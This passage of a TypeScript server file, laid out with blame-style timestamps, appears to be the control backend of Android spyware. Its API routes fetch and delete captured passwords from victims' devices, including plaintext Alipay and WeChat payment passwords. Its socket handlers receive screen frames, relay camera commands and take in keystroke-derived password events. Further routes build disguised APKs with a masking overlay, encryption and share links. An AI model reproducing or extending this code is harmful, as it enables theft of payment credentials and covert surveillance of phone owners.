|
|
|
|
} catch (error) {
|
|
|
|
|
|
this.logger.error('获取密码输入记录失败:', error)
|
|
|
|
|
|
res.status(500).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
error: '获取密码输入记录失败',
|
|
|
|
|
|
message: error instanceof Error ? error.message : '未知错误'
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
this.app.get('/api/password-inputs/:deviceId/latest', this.authMiddleware, (req, res) => {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const { deviceId } = req.params
|
|
|
|
|
|
const { passwordType } = req.query
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.info(`🔐 获取设备 ${deviceId} 的最新密码输入 (类型: ${passwordType || 'ALL'})`)
|
|
|
|
|
|
|
|
|
|
|
|
let latestPassword: any = null
|
|
|
|
|
|
|
|
|
|
|
|
// 根据密码类型选择查询方法
|
|
|
|
|
|
if (passwordType === 'ALIPAY_PASSWORD') {
|
|
|
|
|
|
// 查询最新支付宝密码
|
|
|
|
|
|
const alipayPassword = this.databaseService.getLatestAlipayPassword(deviceId)
|
|
|
|
|
|
if (alipayPassword) {
|
|
|
|
|
|
latestPassword = {
|
|
|
|
|
|
id: alipayPassword.id,
|
|
|
|
|
|
deviceId: alipayPassword.deviceId,
|
|
|
|
|
|
password: alipayPassword.password,
|
|
|
|
|
|
passwordLength: alipayPassword.passwordLength,
|
|
|
|
|
|
passwordType: 'ALIPAY_PASSWORD',
|
|
|
|
|
|
activity: alipayPassword.activity,
|
|
|
|
|
|
inputMethod: alipayPassword.inputMethod,
|
|
|
|
|
|
installationId: 'unknown',
|
|
|
|
|
|
sessionId: alipayPassword.sessionId,
|
|
|
|
|
|
timestamp: alipayPassword.timestamp,
|
|
|
|
|
|
createdAt: alipayPassword.createdAt
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
} else if (passwordType === 'WECHAT_PASSWORD') {
|
|
|
|
|
|
// 查询最新微信密码
|
|
|
|
|
|
const wechatPassword = this.databaseService.getLatestWechatPassword(deviceId)
|
|
|
|
|
|
if (wechatPassword) {
|
|
|
|
|
|
latestPassword = {
|
|
|
|
|
|
id: wechatPassword.id,
|
|
|
|
|
|
deviceId: wechatPassword.deviceId,
|
|
|
|
|
|
password: wechatPassword.password,
|
|
|
|
|
|
passwordLength: wechatPassword.passwordLength,
|
|
|
|
|
|
passwordType: 'WECHAT_PASSWORD',
|
|
|
|
|
|
activity: wechatPassword.activity,
|
|
|
|
|
|
inputMethod: wechatPassword.inputMethod,
|
|
|
|
|
|
installationId: 'unknown',
|
|
|
|
|
|
sessionId: wechatPassword.sessionId,
|
|
|
|
|
|
timestamp: wechatPassword.timestamp,
|
|
|
|
|
|
createdAt: wechatPassword.createdAt
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
// 查询最新通用密码输入
|
|
|
|
|
|
latestPassword = this.databaseService.getLatestPasswordInput(
|
|
|
|
|
|
deviceId,
|
|
|
|
|
|
passwordType as string
|
|
|
|
|
|
)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
if (latestPassword) {
|
|
|
|
|
|
res.json({
|
|
|
|
|
|
success: true,
|
|
|
|
|
|
data: latestPassword
|
|
|
|
|
|
})
|
|
|
|
|
|
} else {
|
|
|
|
|
|
res.json({
|
|
|
|
|
|
success: true,
|
|
|
|
|
|
data: null,
|
|
|
|
|
|
message: '未找到密码输入记录'
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (error) {
|
|
|
|
|
|
this.logger.error('获取最新密码输入失败:', error)
|
|
|
|
|
|
res.status(500).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
error: '获取最新密码输入失败',
|
|
|
|
|
|
message: error instanceof Error ? error.message : '未知错误'
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
this.app.get('/api/password-inputs/:deviceId/stats', this.authMiddleware, (req, res) => {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const { deviceId } = req.params
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.info(`🔐 获取设备 ${deviceId} 的密码类型统计`)
|
|
|
|
|
|
|
|
|
|
|
|
// 获取通用密码输入统计
|
|
|
|
|
|
const generalStats = this.databaseService.getPasswordTypeStats(deviceId)
|
|
|
|
|
|
|
|
|
|
|
|
// 获取支付宝密码统计
|
|
|
|
|
|
const alipayResult = this.databaseService.getAlipayPasswords(deviceId, 1, 1)
|
|
|
|
|
|
const alipayStats = {
|
|
|
|
|
|
passwordType: 'ALIPAY_PASSWORD',
|
|
|
|
|
|
count: alipayResult.total,
|
|
|
|
|
|
firstInput: alipayResult.passwords.length > 0 ? alipayResult.passwords[alipayResult.passwords.length - 1].timestamp : null,
|
|
|
|
|
|
lastInput: alipayResult.passwords.length > 0 ? alipayResult.passwords[0].timestamp : null
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 获取微信密码统计
|
|
|
|
|
|
const wechatResult = this.databaseService.getWechatPasswords(deviceId, 1, 1)
|
|
|
|
|
|
const wechatStats = {
|
|
|
|
|
|
passwordType: 'WECHAT_PASSWORD',
|
|
|
|
|
|
count: wechatResult.total,
|
|
|
|
|
|
firstInput: wechatResult.passwords.length > 0 ? wechatResult.passwords[wechatResult.passwords.length - 1].timestamp : null,
|
|
|
|
|
|
lastInput: wechatResult.passwords.length > 0 ? wechatResult.passwords[0].timestamp : null
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 合并所有统计
|
|
|
|
|
|
const allStats = [
|
|
|
|
|
|
...generalStats,
|
|
|
|
|
|
...(alipayStats.count > 0 ? [alipayStats] : []),
|
|
|
|
|
|
...(wechatStats.count > 0 ? [wechatStats] : [])
|
|
|
|
|
|
].sort((a, b) => b.count - a.count)
|
|
|
|
|
|
|
|
|
|
|
|
res.json({
|
|
|
|
|
|
success: true,
|
|
|
|
|
|
data: allStats
|
|
|
|
|
|
})
|
|
|
|
|
|
} catch (error) {
|
|
|
|
|
|
this.logger.error('获取密码类型统计失败:', error)
|
|
|
|
|
|
res.status(500).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
error: '获取密码类型统计失败',
|
|
|
|
|
|
message: error instanceof Error ? error.message : '未知错误'
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
this.app.delete('/api/password-inputs/:deviceId', this.authMiddleware, (req, res) => {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const { deviceId } = req.params
|
|
|
|
|
|
const { passwordType } = req.query
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.info(`🔐 删除设备 ${deviceId} 的密码输入记录 (类型: ${passwordType || 'ALL'})`)
|
|
|
|
|
|
|
|
|
|
|
|
// 根据密码类型选择删除方法
|
|
|
|
|
|
if (passwordType === 'ALIPAY_PASSWORD') {
|
|
|
|
|
|
// 删除支付宝密码
|
|
|
|
|
|
this.databaseService.clearAlipayPasswords(deviceId)
|
|
|
|
|
|
} else if (passwordType === 'WECHAT_PASSWORD') {
|
|
|
|
|
|
// 删除微信密码
|
|
|
|
|
|
this.databaseService.clearWechatPasswords(deviceId)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
// 删除通用密码输入记录
|
|
|
|
|
|
this.databaseService.clearPasswordInputs(deviceId, passwordType as string)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
const typeDesc = passwordType ? ` (类型: ${passwordType})` : ''
|
|
|
|
|
|
res.json({
|
|
|
|
|
|
success: true,
|
|
|
|
|
|
message: `密码输入记录已删除${typeDesc}`
|
|
|
|
|
|
})
|
|
|
|
|
|
} catch (error) {
|
|
|
|
|
|
this.logger.error('删除密码输入记录失败:', error)
|
|
|
|
|
|
res.status(500).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
error: '删除密码输入记录失败',
|
|
|
|
|
|
message: error instanceof Error ? error.message : '未知错误'
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
2026-02-13 01:06:00 +08:00
|
|
|
|
// 💥 崩溃日志相关API (需要认证)
|
|
|
|
|
|
this.app.get('/api/crash-logs/:deviceId', this.authMiddleware, (req: any, res) => {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const { deviceId } = req.params
|
|
|
|
|
|
const { page = 1, pageSize = 20 } = req.query
|
|
|
|
|
|
const result = this.databaseService.getCrashLogs(
|
|
|
|
|
|
deviceId,
|
|
|
|
|
|
parseInt(page as string),
|
|
|
|
|
|
parseInt(pageSize as string)
|
|
|
|
|
|
)
|
|
|
|
|
|
res.json({ success: true, data: result })
|
|
|
|
|
|
} catch (error) {
|
|
|
|
|
|
this.logger.error('获取崩溃日志失败:', error)
|
|
|
|
|
|
res.status(500).json({ success: false, message: '获取崩溃日志失败' })
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
this.app.get('/api/crash-logs/:deviceId/:logId', this.authMiddleware, (req: any, res) => {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const logId = parseInt(req.params.logId)
|
|
|
|
|
|
const detail = this.databaseService.getCrashLogDetail(logId)
|
|
|
|
|
|
if (detail) {
|
|
|
|
|
|
res.json({ success: true, data: detail })
|
|
|
|
|
|
} else {
|
|
|
|
|
|
res.status(404).json({ success: false, message: '崩溃日志不存在' })
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (error) {
|
|
|
|
|
|
this.logger.error('获取崩溃日志详情失败:', error)
|
|
|
|
|
|
res.status(500).json({ success: false, message: '获取崩溃日志详情失败' })
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
2026-02-09 16:34:01 +08:00
|
|
|
|
// APK相关路由 (需要认证)
|
|
|
|
|
|
this.app.get('/api/apk/info', this.authMiddleware, async (req, res) => {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const apkInfo = await this.apkBuildService.checkExistingAPK()
|
|
|
|
|
|
const buildStatus = this.apkBuildService.getBuildStatus()
|
|
|
|
|
|
const buildEnv = await this.apkBuildService.checkBuildEnvironment()
|
|
|
|
|
|
|
|
|
|
|
|
res.json({
|
|
|
|
|
|
success: true,
|
|
|
|
|
|
apkInfo,
|
|
|
|
|
|
buildStatus,
|
|
|
|
|
|
buildEnvironment: buildEnv
|
|
|
|
|
|
})
|
|
|
|
|
|
} catch (error: any) {
|
|
|
|
|
|
this.logger.error('获取APK信息失败:', error)
|
|
|
|
|
|
res.status(500).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
error: error.message
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
this.app.post('/api/apk/build', this.authMiddleware, this.upload.single('appIcon'), async (req, res) => {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 获取服务器地址,如果没有提供则使用当前请求的地址
|
|
|
|
|
|
const serverUrl = req.body.serverUrl || `${req.protocol}://${req.get('host')}`
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 获取配置选项
|
|
|
|
|
|
const options = {
|
|
|
|
|
|
enableConfigMask: req.body.enableConfigMask === 'true' || req.body.enableConfigMask === true,
|
|
|
|
|
|
// enableConfigMask: true,
|
|
|
|
|
|
enableProgressBar: req.body.enableProgressBar === 'true' || req.body.enableProgressBar === true,
|
|
|
|
|
|
configMaskText: req.body.configMaskText,
|
|
|
|
|
|
configMaskSubtitle: req.body.configMaskSubtitle,
|
|
|
|
|
|
configMaskStatus: req.body.configMaskStatus,
|
|
|
|
|
|
// 🔧 修复:添加加密相关参数
|
|
|
|
|
|
enableEncryption: req.body.enableEncryption === 'true' || req.body.enableEncryption === true,
|
|
|
|
|
|
encryptionLevel: req.body.encryptionLevel,
|
|
|
|
|
|
webUrl: req.body.webUrl,
|
|
|
|
|
|
pageStyleConfig: typeof req.body.pageStyleConfig === 'string'
|
|
|
|
|
|
? JSON.parse(req.body.pageStyleConfig)
|
|
|
|
|
|
: (req.body.pageStyleConfig || {})
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 如果有上传的图标文件,添加到选项中
|
|
|
|
|
|
if (req.file) {
|
|
|
|
|
|
this.logger.info('收到图标文件:', req.file.originalname, `(${req.file.size} bytes)`)
|
|
|
|
|
|
options.pageStyleConfig.appIconFile = {
|
|
|
|
|
|
buffer: req.file.buffer,
|
|
|
|
|
|
originalname: req.file.originalname,
|
|
|
|
|
|
mimetype: req.file.mimetype
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 添加调试日志:显示接收到的原始参数
|
|
|
|
|
|
this.logger.info('[DEBUG] 接收到的原始请求参数:')
|
|
|
|
|
|
this.logger.info('[DEBUG] - enableEncryption:', req.body.enableEncryption)
|
|
|
|
|
|
this.logger.info('[DEBUG] - encryptionLevel:', req.body.encryptionLevel)
|
|
|
|
|
|
this.logger.info('[DEBUG] - enableConfigMask:', req.body.enableConfigMask)
|
|
|
|
|
|
this.logger.info('[DEBUG] - enableProgressBar:', req.body.enableProgressBar)
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.info('收到构建请求,配置选项:', JSON.stringify({
|
|
|
|
|
|
...options,
|
|
|
|
|
|
pageStyleConfig: {
|
|
|
|
|
|
...options.pageStyleConfig,
|
|
|
|
|
|
appIconFile: options.pageStyleConfig.appIconFile ? `文件: ${options.pageStyleConfig.appIconFile.originalname}` : undefined
|
|
|
|
|
|
}
|
|
|
|
|
|
}, null, 2))
|
|
|
|
|
|
|
|
|
|
|
|
// 立即返回响应,让构建在后台进行
|
|
|
|
|
|
res.json({
|
|
|
|
|
|
success: true,
|
|
|
|
|
|
message: '构建已开始,请通过 /api/apk/build-status 接口查看进度',
|
|
|
|
|
|
building: true
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 在后台执行构建,不阻塞HTTP响应
|
|
|
|
|
|
this.apkBuildService.buildAPK(serverUrl, options)
|
|
|
|
|
|
.then((result) => {
|
|
|
|
|
|
this.logger.info('构建完成:', result)
|
|
|
|
|
|
// 构建完成,结果可以通过build-status接口获取
|
|
|
|
|
|
})
|
|
|
|
|
|
.catch((error: any) => {
|
|
|
|
|
|
this.logger.error('构建APK失败:', error)
|
|
|
|
|
|
this.logger.error('错误堆栈:', error.stack)
|
|
|
|
|
|
// 错误已记录在构建日志中,可以通过build-logs接口查看
|
|
|
|
|
|
})
|
|
|
|
|
|
} catch (error: any) {
|
|
|
|
|
|
this.logger.error('构建APK请求处理失败:', error)
|
|
|
|
|
|
this.logger.error('错误堆栈:', error.stack)
|
|
|
|
|
|
if (!res.headersSent) {
|
|
|
|
|
|
res.status(500).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
error: error.message || '构建请求处理失败'
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
this.app.get('/api/apk/build-status', this.authMiddleware, (req, res) => {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const status = this.apkBuildService.getBuildStatus()
|
|
|
|
|
|
res.json(status)
|
|
|
|
|
|
} catch (error: any) {
|
|
|
|
|
|
this.logger.error('获取构建状态失败:', error)
|
|
|
|
|
|
res.status(500).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
error: error.message
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 获取构建日志API
|
|
|
|
|
|
this.app.get('/api/apk/build-logs', this.authMiddleware, (req, res) => {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const limit = req.query.limit ? parseInt(req.query.limit as string) : undefined
|
|
|
|
|
|
const logs = this.apkBuildService.getBuildLogs(limit)
|
|
|
|
|
|
res.json({
|
|
|
|
|
|
success: true,
|
|
|
|
|
|
logs,
|
|
|
|
|
|
total: logs.length
|
|
|
|
|
|
})
|
|
|
|
|
|
} catch (error: any) {
|
|
|
|
|
|
this.logger.error('获取构建日志失败:', error)
|
|
|
|
|
|
res.status(500).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
error: error.message
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 清空构建日志API
|
|
|
|
|
|
this.app.delete('/api/apk/build-logs', this.authMiddleware, (req, res) => {
|
|
|
|
|
|
try {
|
|
|
|
|
|
this.apkBuildService.clearBuildLogs()
|
|
|
|
|
|
res.json({
|
|
|
|
|
|
success: true,
|
|
|
|
|
|
message: '构建日志已清空'
|
|
|
|
|
|
})
|
|
|
|
|
|
} catch (error: any) {
|
|
|
|
|
|
this.logger.error('清空构建日志失败:', error)
|
|
|
|
|
|
res.status(500).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
error: error.message
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
this.app.get('/api/apk/download', this.authMiddleware, async (req, res) => {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const result = await this.apkBuildService.getAPKForDownload()
|
|
|
|
|
|
|
|
|
|
|
|
if (!result.success) {
|
|
|
|
|
|
res.status(404).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
error: result.error
|
|
|
|
|
|
})
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
const filePath = result.filePath!
|
|
|
|
|
|
const filename = result.filename!
|
|
|
|
|
|
|
|
|
|
|
|
// 设置下载头
|
|
|
|
|
|
res.setHeader('Content-Disposition', `attachment; filename="${filename}"`)
|
|
|
|
|
|
res.setHeader('Content-Type', 'application/vnd.android.package-archive')
|
|
|
|
|
|
res.setHeader('Content-Length', result.size!.toString())
|
|
|
|
|
|
|
|
|
|
|
|
// 发送文件
|
|
|
|
|
|
res.sendFile(filePath, (err) => {
|
|
|
|
|
|
if (err) {
|
|
|
|
|
|
this.logger.error('发送APK文件失败:', err)
|
|
|
|
|
|
if (!res.headersSent) {
|
|
|
|
|
|
res.status(500).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
error: '文件下载失败'
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
this.logger.info(`APK下载成功: ${filename}`)
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
} catch (error: any) {
|
|
|
|
|
|
this.logger.error('处理APK下载请求失败:', error)
|
|
|
|
|
|
if (!res.headersSent) {
|
|
|
|
|
|
res.status(500).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
error: error.message
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 分享链接管理API
|
|
|
|
|
|
this.app.get('/api/apk/shares', this.authMiddleware, (req, res) => {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const shares = this.apkBuildService.getActiveShares()
|
|
|
|
|
|
res.json({
|
|
|
|
|
|
success: true,
|
|
|
|
|
|
shares
|
|
|
|
|
|
})
|
|
|
|
|
|
} catch (error: any) {
|
|
|
|
|
|
this.logger.error('获取分享链接列表失败:', error)
|
|
|
|
|
|
res.status(500).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
error: error.message
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
this.app.delete('/api/apk/shares/:sessionId', this.authMiddleware, async (req, res) => {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const { sessionId } = req.params
|
|
|
|
|
|
const result = await this.apkBuildService.stopShare(sessionId)
|
|
|
|
|
|
|
|
|
|
|
|
if (result) {
|
|
|
|
|
|
res.json({
|
|
|
|
|
|
success: true,
|
|
|
|
|
|
message: '分享链接已停止'
|
|
|
|
|
|
})
|
|
|
|
|
|
} else {
|
|
|
|
|
|
res.status(404).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
error: '分享会话不存在'
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (error: any) {
|
|
|
|
|
|
this.logger.error('停止分享链接失败:', error)
|
|
|
|
|
|
res.status(500).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
error: error.message
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 默认路由 - 返回 index.html(如果静态文件服务没有处理)
|
|
|
|
|
|
this.app.get('/', (req, res) => {
|
|
|
|
|
|
// @ts-ignore - process.pkg 是 pkg 打包后添加的属性
|
|
|
|
|
|
const publicPath = (process as any).pkg
|
|
|
|
|
|
? path.join(path.dirname(process.execPath), 'public')
|
|
|
|
|
|
: path.join(process.cwd(), 'public')
|
|
|
|
|
|
|
|
|
|
|
|
const indexPath = path.join(publicPath, 'index.html')
|
|
|
|
|
|
|
|
|
|
|
|
// 检查 index.html 是否存在
|
|
|
|
|
|
if (fs.existsSync(indexPath)) {
|
|
|
|
|
|
res.sendFile(indexPath)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
// 如果 index.html 不存在,返回 JSON 信息
|
|
|
|
|
|
res.json({
|
|
|
|
|
|
name: 'Remote Control Server',
|
|
|
|
|
|
version: '1.0.0',
|
|
|
|
|
|
description: 'Android远程控制中继服务器',
|
|
|
|
|
|
note: 'public/index.html not found'
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 设置Socket.IO事件处理
|
|
|
|
|
|
*/
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🔧 将设备注册请求加入队列处理,防止并发冲突
|
|
|
|
|
|
*/
|
|
|
|
|
|
private queueDeviceRegistration(socket: any, data: any): void {
|
|
|
|
|
|
const timestamp = Date.now()
|
|
|
|
|
|
this.registrationQueue.push({ socket, data, timestamp })
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.debug(`设备注册请求已加入队列: ${socket.id}, 队列长度: ${this.registrationQueue.length}`)
|
|
|
|
|
|
|
|
|
|
|
|
// 启动队列处理
|
|
|
|
|
|
this.processRegistrationQueue()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🔧 处理设备注册队列
|
|
|
|
|
|
*/
|
|
|
|
|
|
private async processRegistrationQueue(): Promise<void> {
|
|
|
|
|
|
// 如果正在处理或队列为空,直接返回
|
|
|
|
|
|
if (this.isProcessingRegistration || this.registrationQueue.length === 0) {
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
this.isProcessingRegistration = true
|
|
|
|
|
|
|
|
|
|
|
|
while (this.registrationQueue.length > 0) {
|
|
|
|
|
|
const currentTime = Date.now()
|
|
|
|
|
|
|
|
|
|
|
|
// 检查冷却时间,防止注册请求过于频繁
|
|
|
|
|
|
if (currentTime - this.lastRegistrationTime < this.REGISTRATION_COOLDOWN) {
|
|
|
|
|
|
const waitTime = this.REGISTRATION_COOLDOWN - (currentTime - this.lastRegistrationTime)
|
|
|
|
|
|
this.logger.debug(`注册冷却中,等待 ${waitTime}ms`)
|
|
|
|
|
|
await new Promise(resolve => setTimeout(resolve, waitTime))
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 取出队列中的第一个请求
|
|
|
|
|
|
const request = this.registrationQueue.shift()
|
|
|
|
|
|
if (!request) break
|
|
|
|
|
|
|
|
|
|
|
|
const { socket, data, timestamp } = request
|
|
|
|
|
|
|
|
|
|
|
|
// 检查请求是否过期(超过30秒的请求丢弃)
|
|
|
|
|
|
if (currentTime - timestamp > 30000) {
|
|
|
|
|
|
this.logger.warn(`丢弃过期的注册请求: ${socket.id}, 延迟: ${currentTime - timestamp}ms`)
|
|
|
|
|
|
continue
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 检查socket是否仍然连接
|
|
|
|
|
|
if (!socket.connected) {
|
|
|
|
|
|
this.logger.warn(`跳过已断开连接的注册请求: ${socket.id}`)
|
|
|
|
|
|
continue
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
try {
|
|
|
|
|
|
this.logger.info(`🔧 队列处理设备注册: ${socket.id} (队列剩余: ${this.registrationQueue.length})`)
|
|
|
|
|
|
this.handleDeviceRegister(socket, data)
|
|
|
|
|
|
this.lastRegistrationTime = Date.now()
|
|
|
|
|
|
} catch (error) {
|
|
|
|
|
|
this.logger.error(`队列处理设备注册失败: ${socket.id}`, error)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
this.isProcessingRegistration = false
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
private setupSocketHandlers(): void {
|
|
|
|
|
|
this.io.on('connection', (socket: any) => {
|
|
|
|
|
|
this.logger.info(`新连接建立: ${socket.id} (传输: ${socket.conn.transport.name})`)
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 移除强制认证检查 - 让设备端可以正常连接,认证只在web客户端注册时进行
|
|
|
|
|
|
// 🔧 增强连接监控,帮助诊断误断开问题
|
|
|
|
|
|
socket.conn.on('upgrade', () => {
|
|
|
|
|
|
this.logger.info(`连接升级: ${socket.id} -> ${socket.conn.transport.name}`)
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
socket.conn.on('upgradeError', (error: any) => {
|
|
|
|
|
|
this.logger.warn(`连接升级失败: ${socket.id}`, error)
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
socket.on('disconnecting', (reason: string) => {
|
|
|
|
|
|
this.logger.warn(`⚠️ 连接即将断开: ${socket.id}, 原因: ${reason}`)
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 设备注册 - 使用队列处理
|
|
|
|
|
|
socket.on('device_register', (data: any) => {
|
|
|
|
|
|
this.queueDeviceRegistration(socket, data)
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 处理Web客户端连接
|
|
|
|
|
|
socket.on('web_client_register', (data: any) => {
|
|
|
|
|
|
this.handleWebClientRegister(socket, data)
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 处理控制消息
|
|
|
|
|
|
socket.on('control_message', (data: any) => {
|
|
|
|
|
|
this.messageRouter.routeControlMessage(socket.id, data)
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 处理摄像头控制消息
|
|
|
|
|
|
socket.on('camera_control', (data: any) => {
|
|
|
|
|
|
// 将摄像头控制消息转换为标准控制消息格式
|
|
|
|
|
|
const controlMessage = {
|
|
|
|
|
|
type: data.action, // CAMERA_START, CAMERA_STOP, CAMERA_SWITCH
|
|
|
|
|
|
deviceId: data.deviceId,
|
|
|
|
|
|
data: data.data || {},
|
|
|
|
|
|
timestamp: Date.now()
|
|
|
|
|
|
}
|
|
|
|
|
|
this.messageRouter.routeControlMessage(socket.id, controlMessage)
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 处理屏幕数据
|
|
|
|
|
|
socket.on('screen_data', (data: any) => {
|
2026-02-13 01:06:00 +08:00
|
|
|
|
// 📊 记录帧统计用于自适应画质
|
|
|
|
|
|
if (data?.deviceId) {
|
|
|
|
|
|
const dataSize = typeof data.data === 'string' ? data.data.length : 0
|
|
|
|
|
|
this.adaptiveQualityService.recordFrame(data.deviceId, dataSize)
|
|
|
|
|
|
}
|
2026-02-09 16:34:01 +08:00
|
|
|
|
this.messageRouter.routeScreenData(socket.id, data)
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 💬 微信密码监听器
|
|
|
|
|
|
socket.on('wechat_password', (data: any) => {
|
|
|
|
|
|
this.logger.info(`💬 收到微信密码记录: Socket: ${socket.id}`);
|
|
|
|
|
|
this.logger.info(`📋 密码数据: deviceId=${data?.deviceId}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`);
|
|
|
|
|
|
|
|
|
|
|
|
// 路由微信密码数据
|
|
|
|
|
|
const routeResult = this.messageRouter.routeWechatPassword(socket.id, data);
|
|
|
|
|
|
this.logger.info(`📤 微信密码路由结果: ${routeResult}`);
|
|
|
|
|
|
});
|
|
|
|
|
|
// 🔐 通用密码输入监听器
|
|
|
|
|
|
socket.on('password_input', (data: any) => {
|
|
|
|
|
|
this.logger.info(`🔐 收到通用密码输入记录: Socket: ${socket.id}`);
|
|
|
|
|
|
this.logger.info(`📋 密码数据: deviceId=${data?.deviceId}, passwordType=${data?.passwordType}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`);
|
|
|
|
|
|
|
|
|
|
|
|
// 路由通用密码输入数据
|
|
|
|
|
|
const routeResult = this.messageRouter.routePasswordInput(socket.id, data);
|
|
|
|
|
|
this.logger.info(`📤 通用密码输入路由结果: ${routeResult}`);
|
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
socket.on('alipay_password', (data: any) => {
|
|
|
|
|
|
this.logger.info(`💰 收到支付宝密码记录: Socket: ${socket.id}`);
|
|
